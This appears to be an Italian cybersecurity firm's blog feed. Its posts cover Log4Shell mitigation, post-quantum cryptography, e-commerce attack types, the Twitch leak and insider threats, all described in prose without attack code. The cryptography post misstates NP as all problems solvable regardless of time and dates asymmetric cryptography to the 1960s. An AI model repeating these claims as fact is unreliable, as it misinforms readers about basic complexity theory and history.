Una lista, in continuo aggiornamento, dei servizi e delle applicazioni che utilizzano Log4j è invece consultabile cliccando qui.

Le grandi aziende non sono le sole ad essere impattate: la vulnerabilità, infatti, riguarda anche il singolo utente. Se gli attaccanti colpiscono l’azienda, anche chi usufruisce dei servizi di quell’azienda potrebbe veder compromessi i propri dati personali.

5 cose da fare

Se da un lato Apache ha provveduto a rilasciare la versione Log4j 2.15.0 per risolvere il problema di sicurezza, dall’altro sono tante le aziende che rimangono facilmente attaccabili.

Sui nostri clienti a servizio sono state eseguite le seguenti analisi, che consigliamo di effettuare:

1. OSINT del perimetro pubblico:

Utilizzando tool esterni (ad esempio, Shodan) si possono valutare le esposizioni dei propri IP pubblici. È necessario poi bloccare sull’IPS o sul firewall tutte le connessioni da e verso gli indirizzi IP segnalati come IoC.

2. Scansione del perimetro interno:

Questo può essere effettuato tramite un vulnerability assessment puntuale sugli applicativi e sui sistemi. La verifica va fatta non solo su perimetro esterno ed interno, ma anche su tutti i servizi cloud. Anche in questo caso si può provvedere a isolare le macchine vulnerabili.

3. Detection sulla rete:

Tramite IDS e tramite l’analisi e correlazione dei logs di sistema e applicativi, un team di specialisti può individuare tempestivamente i tentativi di compromissione dei sistemi aziendali e prevenire o limitare i danni.

4. Aggiornamento di nuove policy:

Consigliamo di effettuare l’aggiornamento sia lato detection (firme IDS) sia lato prevention (IPS), in caso di pubblicazione di nuovi IoC.

5. Patch:

Nel caso in cui non sia ancora stato fatto, il nostro consiglio è quello di installare Log4j 2 nella versione 2.15.0 rilasciata da Apache. Un’ulteriore vulnerabilità, meno impattante della Log4Shell, è uscita ieri; pertanto può essere applicata direttamente la patch 2.16.0 che risolve anche quest’ultima. Nel caso l’attività di patching non fosse possibile, si può ridurre la superficie di attacco tramite le azioni di mitigation consigliate da Log4j qui.

Le organizzazioni con applicazioni web e non basate su Java dovrebbero valutare di contattare i fornitori o assicurarsi di aver eseguito l’ultima versione disponibile delle applicazioni in uso.

In caso di compromissione o per effettuare vulnerability assessment su perimetro pubblico e interno, può essere fatta una richiesta al nostro SOC, scrivendo una mail a sos@cybergon.com.

Come funziona l’attacco che sfrutta Log4j

Già il 24 novembre 2021, Chen Zhaojun, del team Alibaba Cloud Security, aveva dato comunicazione della vulnerabilità Log4Shell; l’exploit in the wild della stessa è, tuttavia, iniziato alcuni giorni dopo.

L’attacco può essere diviso in due diverse fasi.

Nella prima l’attaccante manda una richiesta ad un server vulnerabile con un campo, in questo caso User-Agent, che sa o che ipotizza che verrà passato dal server stesso a Log4j.

Log4j riceve la stringa passata dall’attaccante e contatta “attacker.com” tramite JNDI (Java Naming and Directory Interface).

Img source: fastly.com

Nella seconda fase “attacker.com” fornisce in risposta un oggetto Java, con codice arbitrario, e il server vulnerabile lo esegue.

Img source: fastly.com

Nonostante l’attacco possa sembrare relativamente semplice, questa vulnerabilità risulta complessa da gestire: la difficoltà sta nel capire se nello sviluppo dei propri software è stato utilizzato Log4j e in che versione.

La pericolosità di Log4Shell non riguarda solo il fatto che gli attaccanti possono avere il controllo del sistema, ma piuttosto si concentra sulla facilità con cui esperti e non traggono vantaggio sfruttando questa vulnerabilità.

La crittografia nell'era dei computer quantistici

Marco Prosdocimi — Thu, 02 Dec 2021 10:16:00 +0000

Si sta affermando sempre di più l’importanza dei computer quantistici e di come potranno portare una rivoluzione in tutti i campi delle scienze. Assieme a nuove possibilità, l’era delle macchine quantistiche porterà con sé molte sfide per l’informatica, soprattutto per quanto riguarda la crittografia.

La scrittura di messaggi segreti

La crittografia può essere definita come l’insieme delle tecniche che ci permette di scrivere messaggi segreti e impedire a persone non autorizzate di leggerli. Esse prevedono l’utilizzo di un algoritmo matematico e di una chiave, che altro non è che un dato numerico.

Il procedimento può essere riassunto nel modo seguente:

Il messaggio in chiaro (leggibile) viene cifrato e reso illeggibile attraverso un procedimento matematico che usa una chiave.
Viene trasmesso il messaggio cifrato.
Quando il messaggio raggiunge il destinatario viene ri-trasformato in quello originale.

Esistono due famiglie principali di algoritmi crittografici: simmetrici e asimmetrici.

Gli algoritmi simmetrici utilizzano la stessa chiave per cifrare e decifrare e quindi, se il mittente e il destinatario condividono una chiave, la possono usare per comunicare in maniera sicura. La crittografia simmetrica è molto potente e resistente ma ha in sé un grandissimo problema: come faccio a trasmettere la chiave al destinatario? Se un ipotetico avversario se ne impossessasse, riuscirebbe a leggere tutti i messaggi scambiati.

Questo problema ha afflitto gli informatici e i matematici fino agli anni ‘60 quando furono inventati i primi algoritmi asimmetrici. Questi sistemi prevedono che ogni persona possegga due diverse chiavi. Una pubblica, utilizzata solo per cifrare, e una privata, che permette di decifrare i messaggi.

Questo sistema risolve il problema della trasmissione delle chiavi. Chiunque voglia trasmettere un messaggio basta che ottenga la chiave pubblica del destinatario e la usi per cifrare il messaggio.

Per capire meglio questo concetto facciamo un esempio pratico: quando navighiamo in rete e ci sentiamo sicuri vedendo i siti HTTPS (evidenziati da un lucchetto verde) dovremmo sapere che dietro questa protezione vi è un algoritmo di cifratura asimmetrica.

Nel momento in cui accediamo ad un sito, possiamo leggere la sua chiave pubblica e quando, poi, inviamo informazioni, la usiamo per cifrarle. Una volta che i messaggi saranno arrivati a destinazione, il proprietario del sito utilizzerà la sua chiave privata per decifrare i messaggi. Ovviamente si suppone che la chiave privata rimanga segreta e conosciuta solo dal proprietario del sito.

In realtà, i più esperti sapranno che il sistema è leggermente più complesso di così, ma questo esempio è sufficiente per arrivare a parlare di crittografia post-quantistica.

La classificazione dei problemi

Gli schemi di cifratura asimmetrici si basano sull’assunzione che esistano problemi che risultano essere difficili da calcolare in tempi brevi persino dal più potente dei computer.

In informatica esistono degli studi che si occupano di dividere i problemi e di raggrupparli per tipologie, dette classi. Un problema si definisce appartenente alla classe P (polinomiale) se esiste un algoritmo che, quando viene eseguito da un computer, è in grado di arrivare ad una soluzione in tempo accettabile.

Per coloro che preferiscono una definizione più formale è possibile definire un problema in P nel modo seguente:

Un problema appartiene alla classe P se esiste un algoritmo sempre corretto che richiede, nel caso peggiore, un numero di operazioni elementari f(n) = O(n^d), dove d è una costante e n è la dimensione dell’istanza.

Esiste poi una classe NP (polinomiale non deterministico) che, semplificando al massimo, possiamo dire racchiuda in sé tutti i problemi che una macchina può risolvere a prescindere dal tempo impiegato.

Come possiamo notare dalla figura l’insieme P è molto più piccolo dell’insieme NP, quindi esistono effettivamente molti problemi che un computer tradizionale non riesce a risolvere in tempi brevi. Facciamo il più classico degli esempi: la fattorizzazione di un numero.

Consideriamo un numero N che è dato dal prodotto di 2 numeri primi P e Q (N = P x Q). Se N è abbastanza grande (ad oggi 4096 bit) anche il computer più potente del mondo impiegherebbe secoli a ricavare P e Q partendo da N.

La fattorizzazione di un numero, come anche il calcolo del logaritmo discreto, sono i problemi che oggi sono usati negli algoritmi di crittografia asimmetrica che ci proteggono ogni volta che navighiamo sul web.

Definiamo ora una classe chiamata BQP che comprende tutti quei problemi risolvibili in tempi accettabili da un computer quantistico. Possiamo dire che un computer quantistico sia più potente di un computer tradizionale, nonostante non sia ancora chiaro per noi come poterli produrre in modo economico.

Come si osserva dall’immagine, la classe BQP è più grande della classe P e, inoltre, comprende proprio i problemi di fattorizzazione e calcolo del logaritmo discreto che utilizziamo. Questo vuol dire che un computer quantistico può arrivare a decifrare tutti i messaggi che ad oggi utilizzano crittografia asimmetrica, che ricordiamo essere quella che utilizziamo quando navighiamo o anche quando andiamo a fare un pagamento con una carta elettronica.

La soluzione

Si è reso necessario trovare problemi che siano fuori dalla classe BQP e che possano essere usati per la crittografia asimmetrica. Fortunatamente per noi, in questi anni è stato fatto uno sforzo a livello mondiale per cercare di creare algoritmi di crittografia asimmetrica che da qui a qualche anno andranno a sostituire quelli che usiamo tutti i giorni.

I problemi identificati per la crittografia che neanche un computer quantistico riesce a risolvere in modo rapido sono: codici di correzione di errori e crittografia lattice-based (particolari strutture matematiche). Nel 2017, il NIST ha indetto un “concorso” a livello mondiale per raccogliere i nuovi schemi crittografici e alla fine del 2021 dovrebbero essere proclamati i vincitori.

Il NIST, in seguito, procederà a pubblicare tutta la documentazione necessaria per far sì che tutti i protocolli in uso oggi possano adattarsi ai nuovi standard crittografici post quantistici, utilizzando le nuove funzioni matematiche.

Black Friday e Cyber Monday: i rischi informatici dell’e-commerce

Jeremy Moeys — Tue, 16 Nov 2021 14:16:01 +0000

Un attacco durato 5 giorni, quello di un gruppo di cyber attaccanti che hanno rubato tutti i dati sensibili dei clienti che hanno acquistato sull’e-commerce di Tupperware. Un danno che è costato parecchio all’azienda statutinense, nota per i suoi contenitori di plastica per alimenti, sia in termini monetari, ma, soprattutto, in termini di reputazione e di customer care. L’attacco ha permesso di raccogliere e rivendere preziose informazioni personali dei singoli clienti, tra cui anagrafiche complete e metodi di pagamento validi.

I cyber criminali, attraverso un codice malevolo, creavano un iframe sulla pagina ufficiale dell’ecommerce dell’azienda per clonare il modulo originale di pagamento di VISA CyberSource e carpire da lì i dati sensibili.

Il paradigma dell’e-commerce

Questo è solo uno dei tanti esempi che riguardano il mondo dell’ecommerce, un canale che ha profondamente modificato le nostre abitudini di acquisto di prodotti e servizi, ma che può essere vettore di attacchi informatici pervasivi e impattanti per il business. Ad oggi i siti e-commerce, nuovo canale imprescindibile soprattutto a seguito della globalizzazione, rappresentano non solo un alter ego digitale dei negozi fisici, ma anche un importante strumento di fiducia e fidelizzazione.

Secondo il Salesforce Shopping Index, nel Q1 del 2021 l’e-commerce in Italia ha beneficiato di una crescita del 78%, posizionandosi al quarto posto al mondo dopo Canada, Olanda e Regno Unito.

Seguendo il principio del “follow the money”, le organizzazioni criminali hanno trovato in questo aumento vertiginoso di vendite online un’occasione ghiotta di profitto, orchestrando attacchi informatici sofisticati e costruendo meccanismi di frode sempre più avanzati.

Secondo l’Imperva’s Cyber Threat Index (CTI), che fornisce un punteggio di facile comprensione per il monitoraggio degli attacchi informatici a livello planetario, sono stati registrati nel 2020 oltre 30 miliardi di attacchi contro le web application del retail online.

Due sono le variabili che rendono l’e-commerce un target così appetibile: la prima è sicuramente la quantità di denaro che circola ogni giorno online – il Report CA E-commerce in Italia afferma che nel 2020 la spesa media per e-shopper è pari a 674 euro. La seconda è, invece, la quantità di dati sensibili che ogni giorno vengono inseriti dagli utenti, ad esempio le credenziali di accesso agli account e i riferimenti delle carte di credito.

Considerando l’afflusso generato solamente dal Black Friday e dal Cyber Monday, dai quali secondo Statista derivano 20 miliardi di dollari di fatturato in due sole giornate, è facile intuire l’interesse dei criminali a registrare anche più di 1000 domini somiglianti ai domini originali delle aziende, in modo da impersonificare i marketplace più famosi come Amazon e E-bay e rubare dati sensibili alle vittime.

Nel grafico sottostante, si può notare il picco di attività criminale che contraddistingue il periodo tra fine novembre-inizio dicembre e che coincide con l’inizio di Black Friday e Cyber Monday.

Metodologie di cyber-attacco

Le tipologie di attacchi informatici all’e-commerce sono molteplici e si differenziano rispetto al target colpito, ovvero l’azienda o il cliente, e all’obiettivo del criminale.

Lato aziendale

Il criminale che prepara un attacco mirato ad un e-commerce avrà come obiettivo quello di colpire l’infrastruttura IT della vittima, come il sito internet o i server che lo ospitano.

1. Il defacing del sito

Il defacing, dall’inglese “sfigurare”, è la deturpazione di un sito web che viene modificato tramite un accesso non-autorizzato. La rivendicazione dell’atto avviene in modo immediato tramite firme digitali come “you got hacked” o “pwnd” con il nome dell’attaccante e le immagini.

Questa tipologia di attacco è una tra le più impattanti per l’immagine di un brand, poiché causa ripercussioni dirette sulla fiducia dei consumatori. A giugno 2021, una vulnerabilità della versione 4.7.1 di WordPress (CVE-2017-5487) ha coinvolto il 28,4% di tutti siti mondali. Nell’immagine possiamo vedere una classifica dei primi 25 indirizzi IP che hanno sfruttato a proprio vantaggio la vulnerabilità.

Un recente caso di defacement recente è avvenuto durante l’attacco alla piattaforma di streaming Twitch e ha riguardato l’introduzione di una fotografia di Jeff Bezos come sfondo al canale multiplayer Dota2.

2. Attacchi DDOS

Essere operativi ²⁴⁄₇ è diventata una prerogativa dell’e-commerce: le conseguenze di un fermo sistemistico possono causare, oltre al danno per il mancato incasso durante il tempo in cui l’e-commerce è rimasto irraggiungibile, l’abbandono della piattaforma da parte degli utenti e uno spiacevole senso di sfiducia.

Il Distributed Denial of Service è un attacco efficace utilizzato dai criminali per saturare di richieste un sito e renderlo così non-operativo. Per indirizzare attacchi DDos alle applicazioni web dell’e-commerce vengono utilizzate delle botnet, cioè una serie di reti di server o dispostivi infetti controllati dai criminali per eseguire script automatizzati e causare l’interruzione del servizio.

Nel 2020 Amazon Web Services ha dovuto affrontare per tre giorni una delle offensive più grandi nella storia, con circa 2,3 Terabit per secondo, che risultò essere il 44% più grande rispetto a qualsiasi attacco informatico mai registrato della stessa tipologia.

3. Cross-site scripting

Un altro attacco informatico molto utilizzato è il cross-site scripting (XSS), ovvero un’iniezione di codice malevolo per sfrutta le vulnerabilità di siti web dinamici. In questo caso, gli attaccanti neutralizzano in modo errato l’input dei form esposti online tramite alcune applicazioni che successivamente permettono l’esecuzione di script malevoli, per esempio, in Javascript.

Esistono due tipi principali di XSS:

XSS non-persistente o riflesso Gli attacchi riflessi sono quelli in cui lo script iniettato viene riflesso dal server, ad esempio in un messaggio di errore, nel risultato di una ricerca o in qualsiasi altra risposta che includa l’input inviato al server come un login. Quando un utente clicca su un collegamento malevolo, ad esempio all’interno di una mail di phishing, il codice iniettato viaggia verso il sito web vulnerabile che riflette l’attacco al browser dell’utente. Il browser in questo caso esegue il codice perché proviene da un server “attendibile”.

XSS persistente o archiviato In questo caso l’applicazione web archivia il codice malevolo del criminale in un database o in un registro. In un secondo momento, lo script viene riletto ed eseguito dall’applicazione includendolo nel contenuto dinamico. I criminali ricercano un luogo ottimale per iniettare lo script dannoso. Alcuni esempi possono riguardare un’area visualizzata da un numero elevato di utenti, come un login, o applicazioni dove vengono inseriti dati sensibili da trafugare.

Lato cliente

Sempre più attacchi coinvolgono direttamente l’utente che acquista online sui siti di e-commerce e, nonostante questi non riguardino direttamente l’infrastruttura IT dell’azienda, possono avere ripercussioni importanti sul business. Tra le minacce più diffuse, le frodi basate sul phishing e credential stuffing hanno raggiunto una dimensione sempre più preoccupante, tanto che le aziende di e-commerce si sono viste obbligate a rimborsare le vittime.

1. Phishing

Si tratta di e-mail che impersonificano un brand e convincono l’utente a cui sono indirizzate a fornire le credenziali di accesso ad un servizio. Imitando nell’aspetto e nella terminologia l’azienda, il criminale informatico ottiene preziose informazioni per poter accedere in modo indisturbato agli account e acquistare a nome della vittima.

2. Credential stuffing

Secondo Akamai, leader di servizi CDN, nel periodo dal 1° luglio 2018 al 30 giugno 2020, oltre il 90% dei 64 miliardi di tentativi di credential stuffing registrati ha colpito il settore del retail online. North Face, il gigante dell’abbigliamento outdoor, il 13 novembre 2020 ha notificato ai clienti di essere stato colpito da un attacco di credential stuffing e che diversi criminali potrebbero aver ottenuto l’accesso alle loro informazioni personali.

Un attacco di credential stuffing si verifica quando i criminali informatici utilizzano software automatizzati per fare tentativi di accesso con dati precedentemente acquisiti da un altro set di dati trafugati. Se l’utente abitualmente ricicla sempre la medesima password, corre il rischio di avere il proprio account compromesso.

Fortunatamente, North Face utilizza la tokenizzazione per offuscare i dettagli della carta del cliente, ma altre tipologie di informazioni personali sono state accessibili a terzi. Tra queste, si elencano nome, cognome, prodotti acquistati, data di nascita, numero di telefono, indirizzo di fatturazione, indirizzo di spedizione e saldo dei punti fedeltà. A seguito dell’attacco, l’azienda ha eliminato tutti i token delle carte di pagamento sul sito, ha limitato gli accessi dalle fonti sospette e ha disabilitato tutte le password degli account compromessi.

Remediation

Nonostante i cyber attacchi alle piattaforme di e-commerce siano sempre più frequenti e impattanti, la predisposizione ad investire in un’efficace strategia di security rimane ancora molto bassa.

Secondo un’indagine del 2019 dell’Osservatorio di Digital Innovation, il settore e-commerce in Italia è uno tra i meno propensi a investimenti mirati in sicurezza informatica e data protection, con ben il 38% dei referenti IT intervistati che considerano “non molto importante” proteggere il proprio business online.

Tuttavia, considerata l’evoluzione degli eventi nell’ambito della sicurezza digitale, nasce la necessità sempre più stringente di sviluppare una strategia per la difesa del proprio e-commerce a più livelli.

La protezione dell’e-commerce

a. Il Backup

In caso di attacco informatico, il backup diventa l’unica procedura tecnologica che permette di ripartire in sicurezza e in tempi rapidi. Affiancato da un piano di disaster recovery, il backup deve essere utilizzato non solo per conservare tutti i dati del business, ma anche per creare un e vero proprio duplicato del sito e-commerce.

b. Protezione Anti-ransomware

Quest’anno il ransomware LokiBot 2.0 è riuscito a mettere offline il sistema di prenotazioni regionale della Regione Lazio causando ritardi e rallentamenti nelle vaccinazioni. Essere pronti a fronteggiare un attacco ransomware permette di mantenere l’operatività dei server e il back-end utilizzati dal sito.

Implementare una soluzione XDR, acronimo di Extended Detection e Response, permette di rilevare in modo più rapido le minacce e di migliorare i tempi di risposta attraverso l’analisi degli eventi nel perimetro.

c. La gestione degli aggiornamenti

La gestione delle patch e degli aggiornamenti di sistema giocano un ruolo fondamentale per la risoluzione tempestiva delle vulnerabilità dei software e della piattaforma dove risiede il sito e-commerce.

d. Cifratura

La cifratura del database del sito è necessaria per scongiurare altre tipologie di Injection di codice malevolo e andrebbe accompagnata dall’attivazione di un certificato SSL/TL. Tali protocolli crittografici proteggono i dati che transitano tra il sito e l’utente ed evitano gli attacchi di intercettazione detti “man in the middle”.

e. Password

Attivare l’MFA per accedere agli account e scegliere una password efficace con almeno 12 caratteri, numeri e simboli speciali sono piccoli passi per una protezione più efficace.

La scelta della piattaforma

Scegliere la piattaforma corretta per ospitare il sito e-commerce è la base per mantenere un alto livello di affidabilità che assicuri la continuità di business. Come è stato per Kaseya, gli attacchi ai fornitori di servizi di hosting dei sistemi sono sempre più comuni e coinvolgono specialmente i fornitori di piattaforme in modalità SaaS. Questo accade perché i Cyber criminali preferiscono sfruttare l’economia di scala ed attaccare il fornitore che effettua l’hosting piuttosto che il singolo dominio di un e-commerce.

Effettuare PT e VA

I penetration test e i vulnerability assessment sono stress test importanti per le infrastrutture IT che devono essere effettuati da esperti in cyber security in modo ricorrente. Queste attività permettono di prendere coscienza dei punti deboli dell’infrastruttura IT di un’azienda, compreso il sito e-commerce, e provvedere con delle azioni di remediation.

Conclusione

Queste misure sono solo il primo passo per una corretta strategia di protezione dei siti e-commerce, ma rappresentano una variabile di differenziazione per qualità del servizio e di attenzione verso il cliente che possono fare la differenza, specialmente se il sito internet rappresenta la principale fonte di guadagno di un brand.

L'attacco informatico alla piattaforma streaming più grande al mondo: il caso Twitch

Elisa Ballerio — Thu, 28 Oct 2021 12:20:01 +0000

Con oltre 30 milioni di utenti attivi al giorno, di cui 4 milioni solo in Italia, Twitch è una delle piattaforme di streaming più popolari al mondo, caratterizzata da dirette live di gaming trasmesse da una community di 2,5 milioni di Content Creator. Fortnite, League of Legends, Minecraft e Counter-Strike sono solo alcuni dei molti videogiochi che riuniscono sulla piattaforma appassionati e curiosi.

Twitch è stato acquisito da Amazon nel 2014 per 970 milioni di dollari ed è diventato la quarta fonte di traffico internet negli USA dopo Netflix, Google e Apple. La sua popolarità sempre crescente ha perfino spinto diversi esponenti della politica americana, come il Senatore Bernie Sanders e l’ex Presidente Donald Trump, ad aprire un canale personale, ovviamente con fini differenti rispetto alle live-stream.

Il violento attacco informatico

Il 6 ottobre 2021 su 4chan, sito web utilizzato in passato da Anonymous per la pubblicazione di materiale riservato, un utente anonimo ha pubblicato un link di Torrent per il download di 125 GB di dati derivati da una presunta violazione di Twitch. La piattaforma stessa ha successivamente confermato la perdita dei dati con un comunicato ufficiale.

L’utente anonimo ha dichiarato di aver condiviso le informazioni esfiltrate per favorire la concorrenza tra piattaforme di live streaming online e per danneggiare la “Community tossica” di Twitch, che negli scorsi mesi si è visto costretto ad implementare urgentemente alcune procedure di controllo e di verifica delle identità per fermare le innumerevoli manifestazioni di odio e violenza verbale che stavano colpendo molti utenti e creatori di contenuti.

Analisi del contenuto del leak

Secondo quanto riferito dal blogger Sizeofcat, i dati di Twitch trapelati includono lo storico del codice sorgente di Twitch dagli esordi della piattaforma ad oggi, con quasi 6.000 repository di Git. Grazie al leak si può avere accesso ad ogni commit dei fix temporanei o degli sviluppi eseguiti da parte dei programmatori nel tempo, con tanto di titolo e descrizione.

Il criminale che entra in possesso del codice ha dunque una visione completa di tutta l’infrastruttura di Twitch, dalla gestione della piattaforma, ai messaggi, fino ai database utilizzati per il back-end.

Il pericolo principale, però, risiede nella consultazione del codice esposto per la ricerca di vulnerabilità da parte dei criminali informatici: chi possiede la capacità di analisi tecnica e gli strumenti adeguati può trovare e sfruttare le vulnerabilità zero-day contenute del codice e ancora sconosciute agli sviluppatori di Twitch.

Inoltre, nel repository di Git sono anche salvate funzionalità o porzioni di codice in fase di testing o non ancora rilasciate, e si possono perfino recuperare credenziali rimaste nel codice durante le release. Oltre al codice sorgente sono state esfiltrate informazioni su:

I client Twitch per dispositivi mobili, desktop e console;
I servizi AWS interni utilizzati dalla piattaforma di stream es. database, VM;
L’SDK, ovvero il software development kit, l’ambiente di sviluppo utilizzato internamente per creare codice e programmi proprietari;
L’IGDB ovvero video game database e CurseForge, la più grande repository per videogiochi per scaricare le diverse funzionalità aggiuntive chiamate mods.
Strumenti interni di “red teaming” utilizzati per difendere la piattaforma da attacchi informatici. A tal proposito, due ex ingegneri informatici di Twitch sono stati intervistati dalla rivista Platformer che si occupa di “big tech e democrazia” e hanno espresso in modo anonimo la loro preoccupazione per la scarsa attenzione alla sicurezza interna dell’azienda americana.

Dalle informazioni trafugate, sembrerebbe che Amazon Game Studios stia lavorando a Vapor e a Vapeworld, rispettivamente un nuovo prototipo di game store e un nuovo gioco scritto in codice Unity. Dal punto di vista commerciale, il leak potrebbe quindi avere un impatto ancora maggiore, poiché avvantaggerebbe uno dei maggiori concorrenti di Amazon, cioè la Valve Corporation di Steam. Una fonte anonima afferma in un post su Twitter che il data set include gli indirizzi e-mail di dominio justin.tv utilizzate dagli sviluppatori della piattaforma in “memoria” dell’azienda dalla quale è nato Twitch. Si tratta di un’altra informazione sensibile che potrebbe essere sfruttata per future campagne di phishing da parte dei criminali.

Per concludere, dai documenti esfiltrati trapelano gli stipendi da agosto 2019 a ottobre 2021 dei 100 streamer più pagati, tra cui CriticalRole, xQcOW e summit1g, che hanno guadagnato più di 20 milioni di dollari lavorando con la popolare piattaforma di streaming. Sono elencati anche i primi 80 streamer, con una media di guadagno di un milione di euro. Ciò che non include il leak è il denaro che gli streamer hanno guadagnato al di fuori di Twitch, inclusi merchandising, entrate di YouTube, sponsorizzazioni e donazioni esterne.

Il file è basato sul codice di twitchearnings.com ed è stato poi riportato in un CSV, che si presenta in questo formato:

Position	Username	User ID	GrossEarning
1	xxxx	234234	56789

La disponibilità gratuita del leak, riportata anche dal sito Video Games Chronicle, ha comportato l’accorrere di migliaia di gamers curiosi che hanno scaricato i dati sensibili. Il file di 125 GB è stato attualmente chiamato “Parte 1”, lasciando intendere che, in realtà, il breach è ancora più esteso di quello pubblicato. Non è stato ancora specificato cos’altro verrà rilasciato.

Secondo un’altra fonte, oltre al leak del codice sorgente, sarebbe avvenuto anche il furto di password crittografate. L’uguaglianza data breach = password non è sempre veritiera e, in questo caso non ancora verificata, il che, potrebbe portare i criminali a hoaxes di rivendita di credenziali nel dark web.

In ogni caso, si raccomanda a tutti gli utenti di cambiare le credenziali e di abilitare l’autenticazione a due fattori per proteggere la propria identità digitale, collegando un numero di telefono all’account. Concludiamo con una nota nerd: il golden K. Per chi non fosse avvezzo a Twitch, si tratta di una emoticon leggendaria dorata disponibile per un solo giorno che si pensava venisse assegnata causalmente dalla piattaforma. Grazie al leak e alla lettura del codice sorgente, diversi analisti hanno scoperto che l’emoticon poteva essere in realtà assegnata da alcuni utenti in modo deterministico, creando un certo fermento nelle chat live dei creators.

Conclusione

Il leak di Twitch rimarrà uno dei data breach più impattanti nella storia della sicurezza informatica, sia per la qualità del contenuto esfiltrato, sia come emblema di attacco ad una community specifica, quella dello streaming online. Un attacco differente per certi termini, che non punta al solo guadagno finanziario, ma è motivato dal perpetrarsi dei raid di odio nella piattaforma. Ripercussioni più serie sull’azienda americana saranno visibili molto probabilmente nel medio-lungo termine, quando i criminali informatici sfrutteranno le informazioni del leak per raccogliere moneta virtuale e alimentare il proprio dark business model canvas.

Rimane tutt’ora l’incognita della futura pubblicazione della “Part 2” da parte dell’utente anonimo di 4chan dal quale tutto è cominciato, che potrebbe sconvolgere nuovamente le carte in tavola e aggiungere elementi alla già complessa compromissione.

Insider Threats: quando l'attacco informatico proviene dall'interno

Elisa Ballerio — Fri, 15 Oct 2021 10:16:01 +0000

Secondo il report Threat Landscape 2021 di Enisa, il dipendente aziendale sarebbe responsabile dell’84% delle compromissioni del perimetro informatico. Il dato dimostra chiaramente come ancora oggi l’essere umano sia l’anello debole della catena della cyber security.

Il National Institute of Standards and Technologies classifica le minacce informatiche che provengono dal personale interno all’azienda come Insider Threats e sottolinea l’importanza della presa di coscienza della minaccia come primo passo necessario per la mitigazione del rischio informatico.

Un cyber insider è chiunque dispone o ha avuto accesso in passato a dati, informazioni privilegiate relative alle pratiche di sicurezza e sistemi informatici di un’organizzazione, come dipendenti, fornitori, ex collaboratori oppure consulenti. La minaccia di cui è portatore un cyber insider può concretizzarsi in frodi, furto di informazioni riservate di valore commerciale e non, appropriazione illecita di proprietà intellettuale o sabotaggio di sistemi informatici. È bene sottolineare, però, che il dipendente può essere cosciente o inconsapevole di star recando danno alla propria azienda. Ecco alcuni esempi:

L’insider malintenzionato

Viene definito come un individuo che consapevolmente approfitta dell’accesso ai sistemi informatici per infliggere danni a un’organizzazione o a un’azienda. Le motivazioni che lo spingono possono essere ricondotte al desiderio di guadagno o all’espressione di forte malcontento nell’ambito lavorativo. Negli anni sono stati registrati diversi casi di pressioni esterne da parte di criminali informatici che, sfruttando ingenti somme di denaro, provano a corrompere i dipendenti che hanno più facilmente accesso ai dati e che sono inclini a cederli.

Secondo un report del Software Engineering Institute in collaborazione col US CERT Team, l’80% degli attacchi interni nelle aziende è avvenuto in sede e durante l’orario di lavoro e l’insider è stato identificato nel 74% dei casi dopo indagini cyber-forensi. Riguardo alle motivazioni, l’81% menziona il guadagno finanziario, mentre solo il 23% la vendetta personale.

Un caso che ha attirato l’opinione della community di cyber security è Tesla, che ha registrato un tentativo di corruzione di un suo dipendente da parte di un criminale informatico russo nell’agosto 2020. L’FBI ha arrestato il ventisettenne di nome Egor Igorevich Kriuchkov per aver offerto un milione di dollari in bitcoin ad un impiegato della Gigafactory in Nevada per installare un malware sulla rete utilizzando una chiavetta USB.

L’obiettivo? Chiedere un riscatto di milioni di dollari per i dati esfiltrati e minacciare Elon Musk di pubblicare le informazioni online in caso di resistenza. Accade invece che i dipendenti sfoghino le loro frustrazioni lavorative contro la direzione recando danno volontariamente all’azienda. Un caso reale riguarda la Desjardins Group, una cooperativa canadese di servizi finanziari, dove un dipendente nel 2019 ha esfiltrato le informazioni riguardanti quasi 2,7 milioni di persone e 173.000 aziende, cioè oltre il 40% dei clienti. Le informazioni trapelate includevano nomi, indirizzi, date di nascita, numeri di previdenza sociale, indirizzi e-mail e informazioni sulle transazioni finanziarie.

L’insider inconsapevole

Un’ulteriore minaccia in azienda deriva dagli utenti che inconsapevolmente vengono manovrati dai criminali ad eseguire azioni malevole grazie alle mail di phishing. I danni che derivano da una azione compiuta in buona fede, come ad esempio l’apertura di un allegato infetto o l’inserimento delle credenziali dell’account di posta elettronica, possono talvolta avere un grave impatto sulla business continuity dell’azienda.

La presenza di servizi di Phishing-as-a-Service (PhaaS) ha accelerato ulteriormente le campagne malevole contro gli insider negligenti, rendendole sempre più sosfisticate. Il 21 settembre 2021, gli analisti di Microsoft hanno individuato un servizio nel dark web conosciuto come BulletProofLink o Anthrax che fornisce servizi di malspam in modalità PHaaS. Il servizio è un’evoluzione dei “kit di phishing” che erano, fino a qualche tempo fa, tra i più venduti nei diversi marketplace su Tor, dove sono raccolti circa 120 diversi modelli di mail phishing che imitano i login di accesso tipici delle aziende.

Il PhaaS è erogato come un vero e proprio servizio end-to-end: gli operatori, infatti, gestiscono le configurazioni del dominio per ospitare le landing page, l’invio delle e-mail di phishing e la raccolta delle credenziali acquisite durante gli attacchi. I prezzi vanno da $80 a $100 e sono disponibili sullo store anche tutorial per aiutare i clienti nell’utilizzo del servizio.

Strategie di mitigazione del rischio

La mancanza di buone pratiche di sicurezza informatica applicate in modo capillare in azienda porta le imprese ad essere più soggette ad attacchi informatici: la minaccia interna, infatti, è un rischio costante per la maggior parte delle organizzazioni e prevenzione e consapevolezza sono gli unici strumenti che possono aiutare a mitigarla, specie per quanto riguarda le azioni svolte con inconsapevolezza.

A tal proposito, una buona consapevolezza si ottiene solo con una formazione continua, che coinvolge i dipendenti in un approccio di informatica responsabile e li rende dei security ambassador in tutti gli ambiti ed i processi lavorativi. Tuttavia, è importante sottolineare che la formazione, per essere efficace, deve anche essere validata da risultati concreti, misurabili attraverso test di phishing e test online che coinvolgano tutti i dipendenti di un’azienda o di una organizzazione.

Bisogna inoltre essere coscienti dei diversi privilegi che si rendono realmente necessari per ciascun ruolo in azienda: non tutti, infatti, hanno bisogno di avere accesso a tutti i dati e una ripartizione logica dei permessi aiuta a ridurre sensibilmente il rischio e a prevenire il rischio di perdite di dati esponenziali dovuto alla privilige escalation.

Infine, fornire la visibilità del perimetro interno, dotarsi di sonde e strumenti di detection è il fondamento di una strategia di difesa che viene studiata, pianificata e realizzata nell’ottica di prevention degli attacchi, siano essi fortuiti o premeditati.

Pegasus: la storia e le caratteristiche del malware zero-click

Jeremy Moeys — Tue, 28 Sep 2021 14:16:01 +0000

